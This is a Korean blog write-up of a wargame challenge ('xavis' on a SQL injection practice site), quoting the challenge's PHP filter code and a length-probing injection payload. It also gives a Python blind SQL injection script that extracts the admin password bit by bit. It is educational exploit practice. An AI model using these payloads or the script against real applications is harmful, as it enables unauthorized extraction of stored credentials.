728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
id의 값이 admin, pw의 값이 ‘’인 파라미터가 있다.
query : select id from prob_xavis where id='admin' and pw=''
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
preg_match 조건문 부분을 보면 다음과 같이 필터링하고 있다.
- prob
- _
- .
- ()
- regex
- like
addslashes() 함수를 사용하여 pw변수의 일부 문자열앞에 백슬래시(\)를 붙여서 반환한다.
- **싱글 쿼터('), 더블 쿼터("), 백슬래시(\), NUL(NULL)**에 해당한다.
문제를 풀기 위해서는 pw의 값이 올바른 값이어야 문제가 풀ㅊ리는 듯 하다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
아래 공격문을 보내 pw의 길이가 12글자라는 것을 알아냈다.
?pw='or id='admin' and length(pw)='12
파이썬으로 패스워드 값을 찾으려니 값이 안나와서 찾아보다가 pw의 값이 HEX로 되어 있다는 것을 보았다.
HEX로 된 pw 값을 찾는 코드는 아래 링크를 참고했다.
https://kkamikoon.tistory.com/193?category=829545
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = '<https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=>'
headers = {'Cookie': 'PHPSESSID=쿠키값'}
# get length of column =============
passwordLen = 0
for i in range(1, 100):
payload = "' or length(pw)=" + str(i) + " and id='admin"
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
passwordLen = i
break
else:
pass
print('[=] Find Password Length : %d' % passwordLen)
bitLen = 16
Password = ''
for j in range(1, passwordLen+1):
bit = ''
for i in range(1, bitLen+1):
payload = "' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1%23".format(j, bitLen, i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true!!
bit += '1'
else:
# false!!
bit += '0'
Password += chr(int(bit, 2))
print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))
print('[=] Find Password : %s' % Password)
위 코드를 돌리면 아래와 같은 결과를 볼 수 있다.
pw의 값은 HEX값 ‘c6b0c655ad73’ 으로 12글자이고, 문자열로 바꾸면 ‘우왕굳’이라는 문자열이었다.
알아낸 문자열로 값을 보내보았다.
728x90
반응형